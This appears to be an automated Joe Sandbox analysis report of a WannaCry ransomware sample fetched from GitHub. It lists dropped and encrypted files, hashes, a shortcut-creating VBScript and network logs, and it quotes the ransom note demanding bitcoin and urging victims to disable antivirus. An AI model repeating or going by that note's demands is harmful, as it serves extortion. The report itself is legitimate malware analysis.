Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth
Reputation:	low
Preview:	Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

DDoS

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\@Please_Read_Me@.txt

C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRY (copy)

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRY (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRYT

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png.WNCRY (copy)

Windows Analysis Report
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip

Process:	C:\Windows\SysWOW64\cscript.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Mar 23 13:47:49 2024, mtime=Sat Mar 23 13:47:49 2024, atime=Fri May 12 00:22:56 2017, length=245760, window=hide
Category:	dropped
Size (bytes):	1189
Entropy (8bit):	5.040493253287504
Encrypted:	false
SSDEEP:	24:88qLHOLm86eCRBlgK21Z5bpEO9l7vQAPic3qygm:882HOLm8iRyv17vPQyg
MD5:	702D04031DD9BF002906D9511CD8FA24
SHA1:	332DBCC83F66AEE905A99AE92416F189CFCF545F
SHA-256:	704A9F74AA11DF406AF01B1B417E5BEC073220739AA562F76DC18804C04F7BD4
SHA-512:	6D246DCDDF79E7EC911A80C6F8DA38B292A79946B01C1E4BCED43347649018A7BCFD29812D8DC6DE61672F013246F571C1F7C07C7309E20DD3A13154788FEB8A
Malicious:	false
Reputation:	low
Preview:	L..................F.... ....{Q.1}...'g.1}...X.H............................X.:..DG..Yr?.D..U..k0.&...&.........{4.....S.0}....q.1}......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.HwX.u..............................A.p.p.D.a.t.a...B.P.1.....wX.u..Local.<......FW.HwX.u...........................M..L.o.c.a.l.....N.1.....wX.u..Temp..:......FW.HwX.u..........................O...T.e.m.p.......1.....wX.u..TEMP1_~1.ZIP..l......wX.uwX.u....c.....................?.o.T.e.m.p.1._.R.a.n.s.o.m.w.a.r.e...W.a.n.n.a.C.r.y...z.i.p.....t.2......J.. .@WANAD~1.EXE..X......wX.uwX.u.....Y........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......................-...........................C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.........\|....I.J.H..K..:...`.......X.......134349...........hT..CrF.f4... .P.............%..hT..CrF.f4... .P.............%.............1SPS.XF.L8C.

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	277
Entropy (8bit):	5.0406530364854705
Encrypted:	false
SSDEEP:	6:e+hvbRN23ff8xV3OgJSoPRN23ff8xV3OSK2Fv:e+hO+5G+2M
MD5:	80CFDC583A3CEE1E4754EE6929005D80
SHA1:	4C7DB98D0592C09EB301C2804441561CC6E5E6B7
SHA-256:	84489722F240BA2E1C0BF62F78A11376F75ACD5D3815D3CB3F50EE8E6B5AEF9D
SHA-512:	68250B4A27AB407AEE107EF448ED96EB6F9CA604FBA3B83419A343B006C5985909D04E38E05B1D292191F613CE49F62AC207B4F5E70DF83AAD6BC89858DCF2B2
Malicious:	true
Reputation:	low
Preview:	SET ow = WScript.CreateObject("WScript.Shell")..SET om = ow.CreateShortcut("C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe.lnk")..om.TargetPath = "C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe"..om.Save..

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Mar 23 13:47:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.987826801912808
Encrypted:	false
SSDEEP:	48:84dMTwQsHTidAKZdA1FehwiZUklqehBy+3:8Dnguy
MD5:	5F736BB77127BF40D600C362AEE8AFFD
SHA1:	768F964EB8A601D571387AD6480B671AAA3E8D99
SHA-256:	8821D56037012EABDE37D08FFFD54655D2801D5246E966FF65F0E0DAA7B2935C
SHA-512:	334666855979AA7620DE5C56DB9EBA3061A8094CDF853AA837381F5CC001B966BDBCECC4D7CA6112ACC337CDC349450480DDA978111691AE7C7D4089B798EDE6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....ih.1}..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IwX.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwX.u....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwX.u....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwX.u..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwX.u...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.305255793112395
Encrypted:	false
SSDEEP:	3:8yzGc7C1RREal:nzGtRV
MD5:	6ED2062D4FB53D847335AE403B23BE62
SHA1:	C3030ED2C3090594869691199F46BE7A9A12E035
SHA-256:	43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
SHA-512:	C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
Malicious:	false
Reputation:	low
Preview:	ERROR:...Description = Initialization failure...

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 23, 2024 15:47:20.277513981 CET	192.168.2.16	1.1.1.1	0x6bd	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.277771950 CET	192.168.2.16	1.1.1.1	0x4d7d	Standard query (0)	github.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:20.907834053 CET	192.168.2.16	1.1.1.1	0x2efd	Standard query (0)	github.githubassets.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.907962084 CET	192.168.2.16	1.1.1.1	0x5ec4	Standard query (0)	github.githubassets.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:20.911571980 CET	192.168.2.16	1.1.1.1	0x1ab0	Standard query (0)	avatars.githubusercontent.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.911726952 CET	192.168.2.16	1.1.1.1	0xd56f	Standard query (0)	avatars.githubusercontent.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:21.011185884 CET	192.168.2.16	1.1.1.1	0x32ab	Standard query (0)	user-images.githubusercontent.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.011317968 CET	192.168.2.16	1.1.1.1	0xb554	Standard query (0)	user-images.githubusercontent.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:21.011904955 CET	192.168.2.16	1.1.1.1	0x8128	Standard query (0)	github-cloud.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.012021065 CET	192.168.2.16	1.1.1.1	0x9972	Standard query (0)	github-cloud.s3.amazonaws.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:23.317693949 CET	192.168.2.16	1.1.1.1	0x3c01	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:23.317903996 CET	192.168.2.16	1.1.1.1	0x281b	Standard query (0)	github.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:25.066638947 CET	192.168.2.16	1.1.1.1	0x5544	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:25.066808939 CET	192.168.2.16	1.1.1.1	0xfdc2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:26.440965891 CET	192.168.2.16	1.1.1.1	0xfd9c	Standard query (0)	collector.github.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:26.441265106 CET	192.168.2.16	1.1.1.1	0x47f6	Standard query (0)	collector.github.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:26.986419916 CET	192.168.2.16	1.1.1.1	0x4c50	Standard query (0)	avatars.githubusercontent.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:26.986561060 CET	192.168.2.16	1.1.1.1	0x99ad	Standard query (0)	avatars.githubusercontent.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:27.076184034 CET	192.168.2.16	1.1.1.1	0xbe3b	Standard query (0)	api.github.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.076420069 CET	192.168.2.16	1.1.1.1	0x83a2	Standard query (0)	api.github.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:27.491039038 CET	192.168.2.16	1.1.1.1	0x105c	Standard query (0)	github.githubassets.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.491264105 CET	192.168.2.16	1.1.1.1	0x8f4c	Standard query (0)	github.githubassets.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:33.256746054 CET	192.168.2.16	1.1.1.1	0xfc2f	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:33.257066011 CET	192.168.2.16	1.1.1.1	0x5239	Standard query (0)	raw.githubusercontent.com	65	IN (0x0001)	false
Mar 23, 2024 15:47:34.389908075 CET	192.168.2.16	1.1.1.1	0x1e	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:34.390696049 CET	192.168.2.16	1.1.1.1	0x67b5	Standard query (0)	raw.githubusercontent.com	65	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 23, 2024 15:47:20.365333080 CET	1.1.1.1	192.168.2.16	0x6bd	No error (0)	github.com		140.82.114.4	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.996378899 CET	1.1.1.1	192.168.2.16	0x2efd	No error (0)	github.githubassets.com		185.199.109.154	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.996378899 CET	1.1.1.1	192.168.2.16	0x2efd	No error (0)	github.githubassets.com		185.199.110.154	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.996378899 CET	1.1.1.1	192.168.2.16	0x2efd	No error (0)	github.githubassets.com		185.199.108.154	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.996378899 CET	1.1.1.1	192.168.2.16	0x2efd	No error (0)	github.githubassets.com		185.199.111.154	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.999720097 CET	1.1.1.1	192.168.2.16	0x1ab0	No error (0)	avatars.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.999720097 CET	1.1.1.1	192.168.2.16	0x1ab0	No error (0)	avatars.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.999720097 CET	1.1.1.1	192.168.2.16	0x1ab0	No error (0)	avatars.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:20.999720097 CET	1.1.1.1	192.168.2.16	0x1ab0	No error (0)	avatars.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.100461006 CET	1.1.1.1	192.168.2.16	0x32ab	No error (0)	user-images.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.100461006 CET	1.1.1.1	192.168.2.16	0x32ab	No error (0)	user-images.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.100461006 CET	1.1.1.1	192.168.2.16	0x32ab	No error (0)	user-images.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.100461006 CET	1.1.1.1	192.168.2.16	0x32ab	No error (0)	user-images.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	github-cloud.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.245.236	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.117.105	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.212.241	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.194.9	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.207.43	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.20	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.136.241	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.119379997 CET	1.1.1.1	192.168.2.16	0x8128	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.228	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:21.120935917 CET	1.1.1.1	192.168.2.16	0x9972	No error (0)	github-cloud.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 23, 2024 15:47:21.120935917 CET	1.1.1.1	192.168.2.16	0x9972	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 23, 2024 15:47:23.406040907 CET	1.1.1.1	192.168.2.16	0x3c01	No error (0)	github.com		140.82.113.4	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:25.154205084 CET	1.1.1.1	192.168.2.16	0x5544	No error (0)	www.google.com		142.251.32.100	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:25.154664993 CET	1.1.1.1	192.168.2.16	0xfdc2	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 23, 2024 15:47:26.529347897 CET	1.1.1.1	192.168.2.16	0x47f6	No error (0)	collector.github.com	glb-db52c2cf8be544.github.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 23, 2024 15:47:26.530091047 CET	1.1.1.1	192.168.2.16	0xfd9c	No error (0)	collector.github.com	glb-db52c2cf8be544.github.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 23, 2024 15:47:26.530091047 CET	1.1.1.1	192.168.2.16	0xfd9c	No error (0)	glb-db52c2cf8be544.github.com		140.82.114.21	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.075509071 CET	1.1.1.1	192.168.2.16	0x4c50	No error (0)	avatars.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.075509071 CET	1.1.1.1	192.168.2.16	0x4c50	No error (0)	avatars.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.075509071 CET	1.1.1.1	192.168.2.16	0x4c50	No error (0)	avatars.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.075509071 CET	1.1.1.1	192.168.2.16	0x4c50	No error (0)	avatars.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.163949966 CET	1.1.1.1	192.168.2.16	0xbe3b	No error (0)	api.github.com		140.82.113.6	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.582674026 CET	1.1.1.1	192.168.2.16	0x105c	No error (0)	github.githubassets.com		185.199.110.154	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.582674026 CET	1.1.1.1	192.168.2.16	0x105c	No error (0)	github.githubassets.com		185.199.108.154	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.582674026 CET	1.1.1.1	192.168.2.16	0x105c	No error (0)	github.githubassets.com		185.199.109.154	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:27.582674026 CET	1.1.1.1	192.168.2.16	0x105c	No error (0)	github.githubassets.com		185.199.111.154	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:33.345870018 CET	1.1.1.1	192.168.2.16	0xfc2f	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:33.345870018 CET	1.1.1.1	192.168.2.16	0xfc2f	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:33.345870018 CET	1.1.1.1	192.168.2.16	0xfc2f	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:33.345870018 CET	1.1.1.1	192.168.2.16	0xfc2f	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:34.478813887 CET	1.1.1.1	192.168.2.16	0x1e	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:34.478813887 CET	1.1.1.1	192.168.2.16	0x1e	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:34.478813887 CET	1.1.1.1	192.168.2.16	0x1e	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 23, 2024 15:47:34.478813887 CET	1.1.1.1	192.168.2.16	0x1e	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-03-23 14:47:20 UTC	724	OUT	GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-23 14:47:20 UTC	506	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Sat, 23 Mar 2024 14:47:20 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With ETag: W/"2e999df221553a6425cb9a1091418301" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-03-23 14:47:20 UTC	3601	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-03-23 14:47:20 UTC	21	IN	Data Raw: 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: connection: close
2024-03-23 14:47:20 UTC	1370	IN	Data Raw: 32 32 45 43 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 Data Ascii: 22EC<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pr
2024-03-23 14:47:20 UTC	1370	IN	Data Raw: 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 61 66 61 39 39 64 63 66 34 30 66 37 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: ="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-03-23 14:47:20 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2d 31 39 63 38 35 62 65 34 61 66 39 63 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 72 65 70 6f 73 69 74 6f 72 79 2d 36 32 34 37 63 61 32 33 38 66 64 34 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 Data Ascii: github-19c85be4af9c.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/repository-6247ca238fd4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubass
